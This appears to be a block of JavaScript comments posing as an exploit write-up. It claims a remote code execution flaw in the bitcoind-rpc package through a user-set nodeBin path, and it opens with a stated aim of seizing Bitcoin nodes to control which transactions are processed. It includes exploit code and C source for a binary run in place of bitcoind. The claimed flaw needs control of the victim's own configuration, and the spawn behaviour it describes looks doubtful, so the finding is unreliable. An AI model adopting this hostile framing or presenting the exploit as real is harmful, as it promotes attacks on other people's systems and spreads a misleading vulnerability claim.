// Bitcoin's protocol would be mathetically impossible to crack with the given lifetime of the known universe so instead we attack some 3rd party software which is insecure // to take control of what we can on the network. We can use this later to process only the transactions we prefer. For now let us discuss the vulnerability. // This is a vulnerability in the bitcoind-rpc package. // The bitcoind-rpc package is vulnerable to a remote code execution // vulnerability. // // The vulnerability is due to the fact that the bitcoind-rpc package // allows the RPC server to be started with a custom path to the // bitcoind binary. // // The RPC server is started by the following command: // // var spawn = require('child_process').spawn; // var bitcoind = spawn(config.nodeBin, ['-datadir=' + config.datadir, '-regtest', '-server', '-rpcuser=' + config.rpcuser, '-rpcpassword=' + config.rpcpassword, '-rpcport=' + config.rpcport]); // // The config.nodeBin variable is set by the user. // // The vulnerability can be exploited by setting the config.nodeBin // variable to a malicious binary. // // The following code can be used to exploit the vulnerability: // // var bitcoindRPC = require('bitcoind-rpc'); // var rpc = new bitcoindRPC({ // protocol: 'http', // user: 'user', // pass: 'pass', // host: 'localhost', // port: '18443', // nodeBin: '/tmp/malicious_binary' // }); // // rpc.getInfo(function(err, ret) { // if (err) { // console.log(err); // } else { // console.log(ret.result); // } // }); // // The malicious binary will be executed with the following command: // // /tmp/malicious_binary -datadir=/home/user/.bitcoin -regtest -server -rpcuser=user -rpcpassword=pass -rpcport=18443 // // The malicious binary will be executed with the privileges of the // user running the bitcoind-rpc package. // // The following code can be used to create a malicious binary that // will execute the command "touch /tmp/pwned": // // #include <stdio.h> // #include <stdlib.h> // #include <unistd.h> // // int main(int argc, char **argv) { // char *args[] = {"touch", "/tmp/pwned", NULL}; // execvp("touch", args); // } //